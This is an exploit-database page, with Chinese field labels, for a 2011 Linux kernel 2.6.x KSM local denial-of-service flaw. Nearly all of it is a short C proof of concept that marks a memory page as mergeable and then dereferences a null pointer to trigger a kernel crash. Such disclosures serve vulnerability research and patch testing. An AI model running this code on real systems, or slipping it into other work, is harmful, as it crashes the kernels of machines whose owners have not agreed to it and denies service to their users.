Linux Kernel 2.6.x – KSM Local Denial of Service

  • 作者: Andrea Righi
    日期: 2011-06-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35820/
  • /*
    source: https://www.securityfocus.com/bid/48101/info
    
    The Linux kernel is prone to a local denial-of-service vulnerability.
    
    Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition. 
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #define BUFSIZE getpagesize()
    
    int main(int argc, char **argv)
    {
    	void *ptr;
    	if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) {
    		perror("posix_memalign");
    		exit(1);
    	}
    	if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) {
    		perror("madvise");
    		exit(1);
    	}
    	*(char *)NULL = 0;
    	return 0;
    }